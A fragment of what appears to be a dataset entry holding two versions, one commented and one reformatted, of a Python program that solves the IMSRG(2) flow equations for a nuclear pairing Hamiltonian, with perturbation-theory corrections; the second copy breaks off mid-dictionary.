eta2B_ph.occA_ph.Gamma_ph\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n\n # transform back to standard representation\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B, idxph2B)\n\n # commutator / antisymmetrization\n work = np.zeros_like(etaGamma)\n for i1, (i,j) in enumerate(bas2B):\n for i2, (k,l) in enumerate(bas2B):\n work[i1, i2] -= (\n etaGamma[i1, i2] \n - etaGamma[idx2B[(j,i)], i2] \n - etaGamma[i1, idx2B[(l,k)]] \n + etaGamma[idx2B[(j,i)], idx2B[(l,k)]]\n )\n etaGamma = work\n\n dGamma += etaGamma\n\n\n return dE, df, dGamma\n\n\n#-----------------------------------------------------------------------------------\n# derivative wrapper\n#-----------------------------------------------------------------------------------\ndef get_operator_from_y(y, dim1B, dim2B):\n \n # reshape the solution vector into 0B, 1B, 2B pieces\n ptr = 0\n zero_body = y[ptr]\n\n ptr += 1\n one_body = reshape(y[ptr:ptr+dim1B*dim1B], (dim1B, dim1B))\n\n ptr += dim1B*dim1B\n two_body = reshape(y[ptr:ptr+dim2B*dim2B], (dim2B, dim2B))\n\n return zero_body,one_body,two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n\n dim1B = user_data[\"dim1B\"]\n dim2B = dim1B*dim1B\n\n\n holes = user_data[\"holes\"]\n particles = user_data[\"particles\"]\n bas1B = user_data[\"bas1B\"]\n bas2B = user_data[\"bas2B\"]\n basph2B = user_data[\"basph2B\"]\n idx2B = user_data[\"idx2B\"]\n idxph2B = user_data[\"idxph2B\"]\n occA_2B = user_data[\"occA_2B\"]\n occB_2B = user_data[\"occB_2B\"]\n occC_2B = user_data[\"occC_2B\"]\n occphA_2B = user_data[\"occphA_2B\"]\n calc_eta = user_data[\"calc_eta\"]\n calc_rhs = user_data[\"calc_rhs\"]\n\n # extract operator pieces from solution vector\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n\n\n # calculate the generator\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n\n # calculate the right-hand side\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n\n # convert derivatives into linear array\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n\n # share data\n user_data[\"dE\"] = dE\n user_data[\"eta_norm\"] = np.linalg.norm(eta1B,ord='fro')+np.linalg.norm(eta2B,ord='fro')\n \n return dy\n\n#-----------------------------------------------------------------------------------\n# pairing Hamiltonian\n#-----------------------------------------------------------------------------------\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data[\"bas1B\"]\n bas2B = user_data[\"bas2B\"]\n idx2B = user_data[\"idx2B\"]\n\n dim = len(bas1B)\n H1B = np.zeros((dim,dim))\n\n for i in bas1B:\n H1B[i,i] = delta*np.floor_divide(i, 2)\n\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n\n # spin up states have even indices, spin down the next odd index\n for (i, j) in bas2B:\n if (i % 2 == 0 and j == i+1):\n for (k, l) in bas2B:\n if (k % 2 == 0 and l == k+1):\n H2B[idx2B[(i,j)],idx2B[(k,l)]] = -0.5*g\n H2B[idx2B[(j,i)],idx2B[(k,l)]] = 0.5*g\n H2B[idx2B[(i,j)],idx2B[(l,k)]] = 0.5*g\n H2B[idx2B[(j,i)],idx2B[(l,k)]] = -0.5*g\n \n return H1B, H2B\n\n#-----------------------------------------------------------------------------------\n# normal-ordered pairing Hamiltonian\n#-----------------------------------------------------------------------------------\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data[\"bas1B\"]\n bas2B = user_data[\"bas2B\"]\n idx2B = user_data[\"idx2B\"]\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n\n # 0B part\n E = 0.0\n for i in holes:\n E += H1B[i,i]\n\n for i in holes:\n for j in holes:\n E += 0.5*H2B[idx2B[(i,j)],idx2B[(i,j)]] \n\n # 1B part\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i,j] += H2B[idx2B[(i,h)],idx2B[(j,h)]] \n\n # 2B part\n Gamma = H2B\n\n return E, f, Gamma\n\n#-----------------------------------------------------------------------------------\n# Perturbation theory\n#-----------------------------------------------------------------------------------\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i,i] + f[j,j] - f[a,a] - f[b,b]\n me = Gamma[idx2B[(a,b)],idx2B[(i,j)]]\n DE2 += 0.25*me*me/denom\n\n return DE2\n\ndef calc_mbpt3(f, Gamma, user_data):\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n # DE3 = 0.0\n\n DE3pp = 0.0\n DE3hh = 0.0\n DE3ph = 0.0\n\n for a in particles:\n for b in particles:\n for c in particles:\n for d in particles:\n for i in holes:\n for j in holes:\n denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[i,i] + f[j,j] - f[c,c] - f[d,d])\n me = (Gamma[idx2B[(i,j)],idx2B[(a,b)]]*Gamma[idx2B[(a,b)],idx2B[(c,d)]]*\n Gamma[idx2B[(c,d)],idx2B[(i,j)]])\n DE3pp += 0.125*me/denom\n\n for i in holes:\n for j in holes:\n for k in holes:\n for l in holes:\n for a in particles:\n for b in particles:\n denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[k,k] + f[l,l] - f[a,a] - f[b,b])\n me = (Gamma[idx2B[(a,b)],idx2B[(k,l)]]*Gamma[idx2B[(k,l)],idx2B[(i,j)]]*\n Gamma[idx2B[(i,j)],idx2B[(a,b)]])\n DE3hh += 0.125*me/denom\n\n for i in holes:\n for j in holes:\n for k in holes:\n for a in particles:\n for b in particles:\n for c in particles:\n denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[k,k] + f[j,j] - f[a,a] - f[c,c])\n me = (Gamma[idx2B[(i,j)],idx2B[(a,b)]]*Gamma[idx2B[(k,b)],idx2B[(i,c)]]*\n Gamma[idx2B[(a,c)],idx2B[(k,j)]])\n DE3ph -= me/denom\n\n return DE3pp+DE3hh+DE3ph\n\n\n#------------------------------------------------------------------------------\n# Main program\n#------------------------------------------------------------------------------\ndef main():\n # grab delta and g from the command line\n delta = float(argv[1])\n g = float(argv[2])\n\n particles = 4\n\n # setup shared data\n dim1B = 8\n\n # this defines the reference state\n # 1st state\n holes = [0,1,2,3]\n particles = [4,5,6,7]\n\n # 2nd state\n # holes = [0,1,4,5]\n # particles = [2,3,6,7]\n\n # 3rd state\n # holes = [0,1,6,7]\n # particles = [2,3,4,5]\n\n # basis definitions\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n\n # occupation number matrices\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n\n # store shared data in a dictionary, so we can avoid passing the basis\n # lookups etc. as separate parameters all the time\n user_data = {\n \"dim1B\": dim1B, \n \"holes\": holes,\n \"particles\": particles,\n \"bas1B\": bas1B,\n \"bas2B\": bas2B,\n \"basph2B\": basph2B,\n \"idx2B\": idx2B,\n \"idxph2B\": idxph2B,\n \"occ1B\": occ1B,\n \"occA_2B\": occA_2B,\n \"occB_2B\": occB_2B,\n \"occC_2B\": occC_2B,\n \"occphA_2B\": occphA_2B,\n\n \"eta_norm\": 0.0, # variables for sharing data between ODE solver\n \"dE\": 0.0, # and main routine\n\n\n \"calc_eta\": eta_white_atan, # specify the generator (function object)\n \"calc_rhs\": flow_imsrg2 # specify the right-hand side and truncation\n }\n\n # set up initial Hamiltonian\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n\n E, f, Gamma = normal_order(H1B, H2B, user_data) \n\n # reshape Hamiltonian into a linear array (initial ODE vector)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n\n # integrate flow equations \n solver = ode(derivative_wrapper,jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.)\n\n sfinal = 50\n ds = 0.1\n\n print(\"%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s\"%(\n \"s\", \"E\" , \"DE(2)\", \"DE(3)\", \"E+DE\", \"dE/ds\", \n \"||eta||\", \"||fod||\", \"||Gammaod||\"))\n print(\"-\" * 148)\n \n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n \n dim2B = dim1B*dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n\n print(\"%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f\"%(\n solver.t, E , DE2, DE3, E+DE2+DE3, user_data[\"dE\"], user_data[\"eta_norm\"], norm_fod, norm_Gammaod))\n if abs(DE2/E) < 10e-8: break\n\n return\n\n\n#------------------------------------------------------------------------------\n# make executable\n#------------------------------------------------------------------------------\nif __name__ == \"__main__\": \n main()\n",
"import numpy as np\nfrom numpy import array, dot, diag, reshape, transpose\nfrom scipy.linalg import eigvalsh\nfrom scipy.integrate import odeint, ode\nfrom sys import argv\n\n\ndef construct_basis_2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_index_2B(bas2B):\n index = {}\n for i, state in enumerate(bas2B):\n index[state] = i\n return index\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\ndef commutator(a, b):\n return dot(a, b) - dot(b, a)\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\ndef calc_mbpt3(f, Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n DE3pp = 0.0\n DE3hh = 0.0\n DE3ph = 0.0\n for a in particles:\n for b in particles:\n for c in particles:\n for d in particles:\n for i in holes:\n for j in holes:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[i, i] + f[j, j] - f[c, c] - f[d, d])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[c, d]] * Gamma[idx2B[c,\n d], idx2B[i, j]]\n DE3pp += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for l in holes:\n for a in particles:\n for b in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[l, l] - f[a, a] - f[b, b])\n me = Gamma[idx2B[a, b], idx2B[k, l]] * Gamma[\n idx2B[k, l], idx2B[i, j]] * Gamma[idx2B[i,\n j], idx2B[a, b]]\n DE3hh += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for a in particles:\n for b in particles:\n for c in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[j, j] - f[a, a] - f[c, c])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[k, b], idx2B[i, c]] * Gamma[idx2B[a,\n c], idx2B[k, j]]\n DE3ph -= me / denom\n return DE3pp + DE3hh + DE3ph\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 